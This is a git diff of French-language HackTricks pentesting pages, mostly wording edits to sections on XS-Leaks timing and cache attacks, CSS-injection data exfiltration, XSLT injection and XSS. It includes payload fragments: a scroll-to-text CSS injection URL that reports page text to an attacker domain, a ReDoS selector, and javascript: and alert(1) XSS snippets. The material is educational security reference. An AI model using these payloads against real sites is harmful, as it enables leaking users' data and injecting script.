1. **Surveillance de la Barre de Téléchargement** :
- Lorsqu'un fichier est téléchargé dans les navigateurs basés sur Chromium, une barre de téléchargement apparaît en bas de la fenêtre du navigateur.
- En surveillant les changements de la hauteur de la fenêtre, les attaquants peuvent déduire l'apparition de la barre de téléchargement, suggérant qu'un téléchargement a été initié.
2. **Navigation de téléchargement avec des iframes** :
2. **Navigation de Téléchargement avec des Iframes** :
- Lorsqu'une page déclenche un téléchargement de fichier en utilisant l'en-tête `Content-Disposition: attachment`, cela ne provoque pas un événement de navigation.
- En chargeant le contenu dans une iframe et en surveillant les événements de navigation, il est possible de vérifier si la disposition du contenu provoque un téléchargement de fichier (pas de navigation) ou non.
3. **Navigation de téléchargement sans iframes** :
3. **Navigation de Téléchargement sans Iframes** :
- Semblable à la technique iframe, cette méthode implique d'utiliser `window.open` au lieu d'une iframe.
- Surveiller les événements de navigation dans la nouvelle fenêtre ouverte peut révéler si un téléchargement de fichier a été déclenché (pas de navigation) ou si le contenu est affiché en ligne (navigation se produit).
Dans les scénarios où seuls les utilisateurs connectés peuvent déclencher de tels téléchargements, ces techniques peuvent être utilisées pour déduire indirectement l'état d'authentification de l'utilisateur en fonction de la réponse du navigateur à la demande de téléchargement.
### Contournement de Cache HTTP Partitionné <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a>
### Contournement du Cache HTTP Partitionné <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a>
- **Méthodes d'inclusion** : Pop-ups
- **Différence détectable** : Timing
- **Méthodes d'Inclusion** : Pop-ups
- **Différence Détectable** : Timing
- **Plus d'infos** : [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass)
- **Résumé :** Un attaquant peut discerner les téléchargements de fichiers en utilisant des iframes ; l'accessibilité continue de l'iframe implique un téléchargement de fichier réussi.
- **Exemple de code** : [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (de [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
- **Exemple de Code** : [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (de [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
> [!WARNING]
> C'est pourquoi cette technique est intéressante : Chrome a maintenant **le partitionnement de cache**, et la clé de cache de la page nouvellement ouverte est : `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, mais si j'ouvre une page ngrok et que j'utilise fetch dedans, la clé de cache sera : `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, la **clé de cache est différente**, donc le cache ne peut pas être partagé. Vous pouvez trouver plus de détails ici : [Gagner en sécurité et en confidentialité en partitionnant le cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
> C'est pourquoi cette technique est intéressante : Chrome a maintenant **un partitionnement de cache**, et la clé de cache de la nouvelle page ouverte est : `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, mais si j'ouvre une page ngrok et que j'utilise fetch dedans, la clé de cache sera : `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, la **clé de cache est différente**, donc le cache ne peut pas être partagé. Vous pouvez trouver plus de détails ici : [Gagner en sécurité et en confidentialité en partitionnant le cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
> (Commentaire de [**ici**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
Si un site `example.com` inclut une ressource de `*.example.com/resource`, alors cette ressource aura la **même clé de cache** que si la ressource était directement **demandée par navigation de niveau supérieur**. Cela est dû au fait que la clé de cache est constituée de _eTLD+1_ de niveau supérieur et de _eTLD+1_ de cadre.
Parce qu'accéder au cache est plus rapide que de charger une ressource, il est possible d'essayer de changer l'emplacement d'une page et de l'annuler 20 ms (par exemple) après. Si l'origine a été changée après l'arrêt, cela signifie que la ressource a été mise en cache.\
Ou pourrait simplement **envoyer un fetch à la page potentiellement mise en cache et mesurer le temps qu'il faut**.
Ou pourrait simplement **envoyer quelques fetch à la page potentiellement mise en cache et mesurer le temps qu'il faut**.
### Redirection Manuelle <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
- **Méthodes d'inclusion** : Fetch API
- **Différence détectable** : Redirections
- **Méthodes d'Inclusion** : Fetch API
- **Différence Détectable** : Redirections
- **Plus d'infos** : [ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234)
- **Résumé :** Il est possible de découvrir si une réponse à une requête fetch est une redirection
- **Exemple de code** :
- **Exemple de Code** :
![](<../../images/image (769).png>)
### Fetch avec AbortController <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
- **Méthodes d'inclusion** : Fetch API
- **Différence détectable** : Timing
- **Méthodes d'Inclusion** : Fetch API
- **Différence Détectable** : Timing
- **Plus d'infos** : [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
- **Résumé :** Il est possible d'essayer de charger une ressource et d'annuler avant qu'elle ne soit chargée. Selon si une erreur est déclenchée, la ressource a été ou n'a pas été mise en cache.
- **Exemple de code** : [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
- **Exemple de Code** : [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
Utilisez _**fetch**_ et _**setTimeout**_ avec un **AbortController** pour détecter si la **ressource est mise en cache** et pour évincer une ressource spécifique du cache du navigateur. De plus, le processus se déroule sans mettre en cache de nouveau contenu.
### Pollution de Script
- **Méthodes d'inclusion** : Éléments HTML (script)
- **Différence détectable** : Contenu de la page
- **Méthodes d'Inclusion** : Éléments HTML (script)
- **Différence Détectable** : Contenu de la Page
- **Plus d'infos** : [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
- **Résumé :** Il est possible de **surcharger des fonctions intégrées** et de lire leurs arguments même depuis **un script cross-origin** (qui ne peut pas être lu directement), cela pourrait **divulguer des informations précieuses**.
- **Exemple de code** : [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
- **Exemple de Code** : [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
### Travailleurs de Service <a href="#service-workers" id="service-workers"></a>
- **Méthodes d'inclusion** : Pop-ups
- **Différence détectable** : Contenu de la page
- **Méthodes d'Inclusion** : Pop-ups
- **Différence Détectable** : Contenu de la Page
- **Plus d'infos** : [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers)
- **Résumé :** Mesurer le temps d'exécution d'un web en utilisant des travailleurs de service.
- **Exemple de code** :
- **Résumé :** Mesurer le temps d'exécution d'un web utilisant des travailleurs de service.
- **Exemple de Code** :
Dans le scénario donné, l'attaquant prend l'initiative d'enregistrer un **travailleur de service** dans l'un de ses domaines, spécifiquement "attacker.com". Ensuite, l'attaquant ouvre une nouvelle fenêtre sur le site web cible depuis le document principal et demande au **travailleur de service** de commencer un chronomètre. Alors que la nouvelle fenêtre commence à se charger, l'attaquant navigue vers la référence obtenue dans l'étape précédente vers une page gérée par le **travailleur de service**.
À l'arrivée de la requête initiée dans l'étape précédente, le **travailleur de service** répond avec un code d'état **204 (No Content)**, terminant effectivement le processus de navigation. À ce stade, le **travailleur de service** capture une mesure du chronomètre initié plus tôt à l'étape deux. Cette mesure est influencée par la durée de JavaScript causant des retards dans le processus de navigation.
À l'arrivée de la requête initiée dans l'étape précédente, le **travailleur de service** répond avec un code d'état **204 (Pas de Contenu)**, terminant effectivement le processus de navigation. À ce stade, le **travailleur de service** capture une mesure du chronomètre initié plus tôt à l'étape deux. Cette mesure est influencée par la durée du JavaScript causant des retards dans le processus de navigation.
> [!WARNING]
> Dans un timing d'exécution, il est possible d'**éliminer** les **facteurs réseau** pour obtenir des **mesures plus précises**. Par exemple, en chargeant les ressources utilisées par la page avant de la charger.
### Timing de Fetch
- **Méthodes d'inclusion** : Fetch API
- **Différence détectable** : Timing (généralement dû au Contenu de la Page, Code d'État)
- **Méthodes d'Inclusion** : Fetch API
- **Différence Détectable** : Timing (généralement dû au Contenu de la Page, Code d'État)
- **Plus d'infos** : [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
- **Résumé :** Utilisez [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) pour mesurer le temps qu'il faut pour effectuer une requête. D'autres horloges pourraient être utilisées.
- **Exemple de code** : [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
- **Exemple de Code** : [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
### Timing Cross-Window
- **Méthodes d'inclusion** : Pop-ups
- **Différence détectable** : Timing (généralement dû au Contenu de la Page, Code d'État)
- **Méthodes d'Inclusion** : Pop-ups
- **Différence Détectable** : Timing (généralement dû au Contenu de la Page, Code d'État)
- **Plus d'infos** : [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
- **Résumé :** Utilisez [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) pour mesurer le temps qu'il faut pour effectuer une requête en utilisant `window.open`. D'autres horloges pourraient être utilisées.
- **Exemple de code** : [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
- **Exemple de Code** : [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
## Avec HTML ou Réinjection
@ -844,10 +844,10 @@ Ici, vous pouvez trouver des techniques pour exfiltrer des informations d'un HTM
../dangling-markup-html-scriptless-injection/
{{#endref}}
### Chargement d'Images Paresseux
### Chargement Paresseux d'Images
Si vous devez **exfiltrer du contenu** et que vous pouvez **ajouter du HTML avant le secret**, vous devriez vérifier les **techniques de marquage dangling courantes**.\
Cependant, si pour une raison quelconque vous **DEVEZ** le faire **caractère par caractère** (peut-être que la communication se fait via un cache), vous pouvez utiliser cette astuce.
Cependant, si pour une raison quelconque vous **DEVEZ** le faire **caractère par caractère** (peut-être que la communication se fait via un hit de cache), vous pouvez utiliser cette astuce.
**Les images** en HTML ont un attribut "**loading**" dont la valeur peut être "**lazy**". Dans ce cas, l'image sera chargée lorsqu'elle sera vue et non pendant le chargement de la page :
```html
@ -888,7 +888,7 @@ event-loop-blocking-+-lazy-images.md
### CSS ReDoS
Si `jQuery(location.hash)` est utilisé, il est possible de découvrir via le timing **si un contenu HTML existe**, car si le sélecteur `main[id='site-main']` ne correspond pas, il n'est pas nécessaire de vérifier le reste des **sélecteurs** :
Si `jQuery(location.hash)` est utilisé, il est possible de découvrir via le timing **si un contenu HTML existe**, cela est dû au fait que si le sélecteur `main[id='site-main']` ne correspond pas, il n'est pas nécessaire de vérifier le reste des **sélecteurs** :
```javascript
$(
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"

2
src/pentesting-web/xs-search/connection-pool-by-destination-example.md
View File

@ -13,7 +13,7 @@ Voyons comment cet exploit fonctionne :
- L'attaquant va injecter une note avec autant de **`<img`** tags **chargeant** **`/js/purify.js`** que possible (plus de 6 pour bloquer l'origine).
- Ensuite, l'attaquant va **supprimer** la **note** avec l'index 1.
- Ensuite, l'attaquant va \[faire en sorte que le **bot accède à la page** avec la note restante] et va envoyer une **demande** à **`victim.com/js/purify.js`** qu'il va **chronométrer**.&#x20;
- Si le temps est **plus grand**, l'**injection** était dans la **note** laissée, si le temps est **plus bas**, le **drapeau** était là.
- Si le temps est **plus grand**, l'**injection** était dans la **note** laissée, si le temps est **plus bas**, le **flag** était là.
> [!NOTE]
> Honnêtement, en lisant le script, j'ai manqué une partie où l'**attaquant fait charger la page par le bot pour déclencher les tags img**, je ne vois rien de tel dans le code.

2
src/pentesting-web/xs-search/connection-pool-example.md
View File

@ -15,7 +15,7 @@ Dans ce défi, l'objectif est d'exfiltrer un drapeau qui apparaîtra dans la ses
Par conséquent, pour voler le drapeau, la solution proposée par @Strellyc\_ est de, **pour chaque caractère à tester**, faire en sorte que le bot :
- Crée un **nouveau post** qui **commence** par la partie connue du **drapeau** et plusieurs **img** **charges**.
- Crée un **nouveau post** qui **commence** par la partie connue du **drapeau** et plusieurs **img** **chargements**.
- **Supprime** le **post** en position **0**.
- Bloque 255 sockets.
- Charge la page avec les posts.

20
src/pentesting-web/xs-search/css-injection/README.md
View File

@ -70,13 +70,13 @@ Au lieu de charger la même page encore et encore avec des dizaines de charges u
2. La première partie du script CSS que l'attaquant va envoyer est **un autre `@import` vers le serveur des attaquants à nouveau.**
1. Le serveur des attaquants ne répondra pas encore à cette demande, car nous voulons fuir quelques caractères et ensuite répondre à cet import avec la charge utile pour fuir les suivants.
3. La deuxième et plus grande partie de la charge utile va être une **charge utile de fuite de sélecteur d'attribut**
1. Cela enverra au serveur des attaquants le **premier caractère du secret et le dernier**
1. Cela enverra au serveur des attaquants le **premier caractère du secret et le dernier.**
4. Une fois que le serveur des attaquants a reçu le **premier et le dernier caractère du secret**, il va **répondre à l'importation demandée à l'étape 2**.
1. La réponse va être exactement la même que les **étapes 2, 3 et 4**, mais cette fois elle essaiera de **trouver le deuxième caractère du secret et ensuite l'avant-dernier**.
L'attaquant va **suivre cette boucle jusqu'à ce qu'il parvienne à fuir complètement le secret**.
Vous pouvez trouver le [**code original de Pepe Vila pour exploiter cela ici**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) ou vous pouvez trouver presque le [**même code mais commenté ici**.](./#css-injection)
Vous pouvez trouver le code original de [**Pepe Vila pour exploiter cela ici**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) ou vous pouvez trouver presque le [**même code mais commenté ici**.](./#css-injection)
> [!NOTE]
> Le script essaiera de découvrir 2 caractères à chaque fois (du début et de la fin) car le sélecteur d'attribut permet de faire des choses comme :
@ -104,7 +104,7 @@ Vous pouvez trouver le [**code original de Pepe Vila pour exploiter cela ici**](
Autres façons d'accéder aux parties du DOM avec **sélecteurs CSS** :
- **`.class-to-search:nth-child(2)`** : Cela recherchera le deuxième élément avec la classe "class-to-search" dans le DOM.
- Sélecteur **`:empty`** : Utilisé par exemple dans [**ce rapport**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
- **Sélecteur `:empty`** : Utilisé par exemple dans [**ce rapport**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
```css
[role^="img"][aria-label="1"]:empty {
@ -152,7 +152,7 @@ font-family: "poc";
### Stylisation du fragment de texte défilant
La **pseudo-classe `:target`** est utilisée pour sélectionner un élément ciblé par un **fragment d'URL**, comme spécifié dans la [spécification des sélecteurs CSS Niveau 4](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Il est crucial de comprendre que `::target-text` ne correspond à aucun élément à moins que le texte ne soit explicitement ciblé par le fragment.
La **pseudo-classe `:target`** est utilisée pour sélectionner un élément ciblé par un **fragment d'URL**, comme spécifié dans la [spécification des sélecteurs CSS niveau 4](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Il est crucial de comprendre que `::target-text` ne correspond à aucun élément à moins que le texte ne soit explicitement ciblé par le fragment.
Une préoccupation de sécurité surgit lorsque des attaquants exploitent la fonctionnalité **Scroll-to-text**, leur permettant de confirmer la présence de texte spécifique sur une page web en chargeant une ressource depuis leur serveur via une injection HTML. La méthode consiste à injecter une règle CSS comme ceci :
```css
@ -164,7 +164,7 @@ Dans de tels scénarios, si le texte "Administrator" est présent sur la page, l
```
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
```
Ici, l'attaque manipule l'injection HTML pour transmettre le code CSS, visant le texte spécifique "Administrator" via le fragment Scroll-to-text (`#:~:text=Administrator`). Si le texte est trouvé, la ressource indiquée est chargée, signalant involontairement sa présence à l'attaquant.
Ici, l'attaque manipule l'injection HTML pour transmettre le code CSS, visant le texte spécifique "Administrator" à travers le fragment Scroll-to-text (`#:~:text=Administrator`). Si le texte est trouvé, la ressource indiquée est chargée, signalant involontairement sa présence à l'attaquant.
Pour l'atténuation, les points suivants doivent être notés :
@ -222,7 +222,7 @@ La technique décrite implique l'extraction de texte d'un nœud en exploitant le
2. **Détection des changements de largeur** :
- CSS est utilisé pour s'assurer que le texte ne se déplace pas (`white-space: nowrap`) et pour personnaliser le style de la barre de défilement.
- CSS est utilisé pour s'assurer que le texte ne se renvoie pas (`white-space: nowrap`) et pour personnaliser le style de la barre de défilement.
- L'apparition d'une barre de défilement horizontale, stylisée de manière distincte, agit comme un indicateur (oracle) qu'une ligature spécifique, et donc une séquence de caractères spécifique, est présente dans le texte.
- Le CSS impliqué :
```css
@ -279,7 +279,7 @@ Bien que cette méthode permette la détection de caractères uniques à mesure
> [!NOTE]
> En gros, le **unicode-range est utilisé pour détecter un char**, mais comme nous ne voulons pas charger une police externe, nous devons trouver un autre moyen.\
> Lorsque le **char** est **trouvé**, il est **donné** à la **police Comic Sans préinstallée**, qui **rend** le char **plus grand** et **déclenche une barre de défilement** qui **fuit le char trouvé**.
> Lorsque le **char** est **trouvé**, il est **donné** à la police **Comic Sans préinstallée**, ce qui **rend** le char **plus grand** et **déclenche une barre de défilement** qui **fuit le char trouvé**.
Vérifiez le code extrait du PoC :
```css
@ -712,7 +712,7 @@ background: blue var(--leak);
Ce cas est très similaire au précédent, cependant, dans ce cas, l'objectif de rendre des **chars spécifiques plus grands que d'autres est de cacher quelque chose** comme un bouton pour ne pas être pressé par le bot ou une image qui ne sera pas chargée. Ainsi, nous pourrions mesurer l'action (ou l'absence d'action) et savoir si un char spécifique est présent dans le texte.
### Exfiltration de nœud de texte (III) : fuite du charset par temporisation de cache (ne nécessitant pas d'actifs externes) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Exfiltration de nœud de texte (III) : fuite du charset par timing de cache (ne nécessitant pas d'actifs externes) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Référence :** Cela est mentionné comme [une solution infructueuse dans ce rapport](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
@ -726,9 +726,9 @@ unicode-range: U+0041;
```
Si une correspondance est trouvée, la **police sera chargée depuis `/static/bootstrap.min.css?q=1`**. Bien qu'elle ne se charge pas avec succès, le **navigateur devrait la mettre en cache**, et même s'il n'y a pas de cache, il existe un mécanisme de **304 non modifié**, donc la **réponse devrait être plus rapide** que d'autres choses.
Cependant, si la différence de temps entre la réponse mise en cache et celle non mise en cache n'est pas suffisamment grande, cela ne sera pas utile. Par exemple, l'auteur a mentionné : Cependant, après des tests, j'ai constaté que le premier problème est que la vitesse n'est pas très différente, et le deuxième problème est que le bot utilise le drapeau `disk-cache-size=1`, ce qui est vraiment réfléchi.
Cependant, si la différence de temps entre la réponse mise en cache et celle non mise en cache n'est pas suffisamment grande, cela ne sera pas utile. Par exemple, l'auteur a mentionné : Cependant, après test, j'ai constaté que le premier problème est que la vitesse n'est pas très différente, et le deuxième problème est que le bot utilise le drapeau `disk-cache-size=1`, ce qui est vraiment réfléchi.
### Exfiltration de nœud texte (III) : fuite du charset en chronométrant le chargement de centaines de "polices" locales (ne nécessitant pas d'actifs externes) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Exfiltration de nœud texte (III) : fuite du charset en chargeant des centaines de "polices" locales (ne nécessitant pas d'actifs externes) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Référence :** Cela est mentionné comme [une solution infructueuse dans ce rapport](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)

2
src/pentesting-web/xs-search/event-loop-blocking-+-lazy-images.md
View File

@ -16,7 +16,7 @@ L'idée derrière cet exploit est :
- Un **attaquant** peut **injecter** une **publication** commençant par **"A"**, puis un **tag HTML** (comme un grand **`<canvas`**) remplira la plupart de l'**écran** et quelques **tags `<img lazy`** finaux pour charger des éléments.
- Si au lieu d'un "A", l'**attaquant injecte la même publication mais commençant par un "z".** La **publication** avec le **drapeau** apparaîtra **en premier**, puis la **publication injectée** apparaîtra avec le "z" initial et le **grand** **canvas**. Comme la publication avec le drapeau est apparue en premier, le premier canvas occupera tout l'écran et les **tags `<img lazy`** finaux injectés **ne seront pas vus** à l'écran, donc ils **ne seront pas chargés**.
- Ensuite, **pendant** que le bot **accède** à la page, l'**attaquant** enverra des **requêtes fetch**.&#x20;
- Si les **images** injectées dans la publication sont en train d'être **chargées**, ces **requêtes fetch** prendront **plus de temps**, donc l'attaquant sait que la **publication est avant le drapeau** (alphabétiquement).
- Si les **images** injectées dans la publication sont en cours de **chargement**, ces **requêtes fetch** prendront **plus de temps**, donc l'attaquant sait que la **publication est avant le drapeau** (alphabétiquement).
- Si les **requêtes fetch** sont **rapides**, cela signifie que la **publication** est **alphabétiquement** **après** le drapeau.
Vérifions le code :

2
src/pentesting-web/xs-search/performance.now-+-force-heavy-task.md
View File

@ -4,7 +4,7 @@
**Exploitation tirée de [https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/)**
Dans ce défi, l'utilisateur pouvait envoyer des milliers de caractères et si le flag était contenu, les caractères seraient renvoyés au bot. En envoyant une grande quantité de caractères, l'attaquant pouvait mesurer si le flag était contenu dans la chaîne envoyée ou non.
Dans ce défi, l'utilisateur pouvait envoyer des milliers de caractères et si le drapeau était contenu, les caractères seraient renvoyés au bot. En envoyant une grande quantité de caractères, l'attaquant pouvait mesurer si le drapeau était contenu dans la chaîne envoyée ou non.
> [!WARNING]
> Au départ, je n'ai pas défini la largeur et la hauteur de l'objet, mais plus tard, j'ai découvert qu'il était important de le faire car la taille par défaut est trop petite pour faire une différence dans le temps de chargement.

6
src/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md
View File

@ -1,4 +1,4 @@
# Injection côté serveur XSLT (Transformations de langage de feuille de style extensible)
# Injection côté serveur XSLT (Transformations de Langage de Feuille de Style Extensible)
{{#include ../banners/hacktricks-training.md}}
@ -280,7 +280,7 @@ Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:sup
</body>
</html>
```
### Analyse de port
### Scan de port
```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
@ -367,8 +367,6 @@ version="1.0">
</xsl:template>
</xsl:stylesheet>
```
(Exemple de [http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls](http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls))
## Plus de Payloads
- Vérifiez [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection)

44
src/pentesting-web/xss-cross-site-scripting/README.md
View File

@ -22,8 +22,8 @@
2. Pouvez-vous échapper à la chaîne et exécuter un code JS différent ?
3. Vos entrées sont-elles dans des littéraux de template \`\` ?
4. Pouvez-vous contourner les protections ?
4. Fonction JavaScript **exécutée**
1. Vous pouvez indiquer le nom de la fonction à exécuter. par exemple : `?callback=alert(1)`
4. Fonction Javascript **exécutée**
1. Vous pouvez indiquer le nom de la fonction à exécuter. par ex. : `?callback=alert(1)`
4. Si **utilisé** :
1. Vous pourriez exploiter un **DOM XSS**, faites attention à la façon dont votre entrée est contrôlée et si votre **entrée contrôlée est utilisée par un sink.**
@ -48,7 +48,7 @@ Lorsque vous essayez d'exploiter un XSS, la première chose que vous devez savoi
### HTML brut
Si votre entrée est **réfléchie sur la page HTML brute**, vous devrez abuser de certaines **balises HTML** afin d'exécuter du code JS : `<img , <iframe , <svg , <script` ... ce ne sont que quelques-unes des nombreuses balises HTML possibles que vous pourriez utiliser.\
De plus, gardez à l'esprit [Client Side Template Injection](../client-side-template-injection-csti.md).
De plus, gardez à l'esprit [Injection de Template Côté Client](../client-side-template-injection-csti.md).
### À l'intérieur des attributs de balises HTML
@ -84,7 +84,7 @@ alert(1)
#### Javascript Hoisting
Javascript Hoisting fait référence à l'opportunité de **déclarer des fonctions, des variables ou des classes après leur utilisation afin de pouvoir abuser des scénarios où un XSS utilise des variables ou des fonctions non déclarées.**\
**Consultez la page suivante pour plus d'informations :**
**Consultez la page suivante pour plus d'infos :**
{{#ref}}
js-hoisting.md
@ -147,7 +147,7 @@ server-side-xss-dynamic-pdf.md
![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>)
## Injection dans du HTML brut
## Injection dans le HTML brut
Lorsque votre entrée est reflétée **dans la page HTML** ou que vous pouvez échapper et injecter du code HTML dans ce contexte, la **première** chose que vous devez faire est de vérifier si vous pouvez abuser de `<` pour créer de nouvelles balises : Essayez simplement de **refléter** ce **caractère** et vérifiez s'il est **HTML encodé** ou **supprimé** ou s'il est **reflété sans modifications**. **Ce n'est que dans ce dernier cas que vous pourrez exploiter ce cas**.\
Pour ces cas, gardez également à l'esprit [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
@ -267,7 +267,7 @@ Si vous **ne pouvez pas échapper de la balise**, vous pourriez créer de nouvea
```
### Dans l'attribut
Même si vous **ne pouvez pas échapper de l'attribut** (`"` est encodé ou supprimé), selon **quel attribut** votre valeur est reflétée **si vous contrôlez toute la valeur ou juste une partie**, vous pourrez en abuser. Par **exemple**, si vous contrôlez un événement comme `onclick=`, vous pourrez faire exécuter du code arbitraire lorsqu'il est cliqué.\
Même si vous **ne pouvez pas échapper de l'attribut** (`"` est encodé ou supprimé), selon **quel attribut** votre valeur est reflétée **si vous contrôlez toute la valeur ou juste une partie**, vous pourrez en abuser. Par **exemple**, si vous contrôlez un événement comme `onclick=`, vous pourrez le faire exécuter du code arbitraire lorsqu'il est cliqué.\
Un autre **exemple** intéressant est l'attribut `href`, où vous pouvez utiliser le protocole `javascript:` pour exécuter du code arbitraire : **`href="javascript:alert(1)"`**
**Contourner à l'intérieur de l'événement en utilisant l'encodage HTML/l'encodage URL**
@ -361,7 +361,7 @@ Notez que si vous essayez d'**utiliser les deux** `URLencode + HTMLencode` dans
**Utilisation de l'encodage Hex et Octal avec `javascript:`**
Vous pouvez utiliser l'**encodage Hex** et **Octal** à l'intérieur de l'attribut `src` de `iframe` (au moins) pour déclarer des **tags HTML pour exécuter JS** :
Vous pouvez utiliser **Hex** et **Octal encode** à l'intérieur de l'attribut `src` de `iframe` (au moins) pour déclarer des **tags HTML pour exécuter JS** :
```javascript
//Encoded: <svg onload=alert(1)>
// This WORKS
@ -377,13 +377,13 @@ Vous pouvez utiliser l'**encodage Hex** et **Octal** à l'intérieur de l'attrib
```javascript
<a target="_blank" rel="opener"
```
Si vous pouvez injecter n'importe quelle URL dans une balise **`<a href=`** arbitraire qui contient les attributs **`target="_blank" et rel="opener"`**, vérifiez la **page suivante pour exploiter ce comportement** :
Si vous pouvez injecter n'importe quelle URL dans une balise **`<a href=`** arbitraire qui contient les attributs **`target="_blank" et rel="opener"`**, vérifiez **la page suivante pour exploiter ce comportement** :
{{#ref}}
../reverse-tab-nabbing.md
{{#endref}}
### Contournement des gestionnaires d'événements
### sur le contournement des gestionnaires d'événements
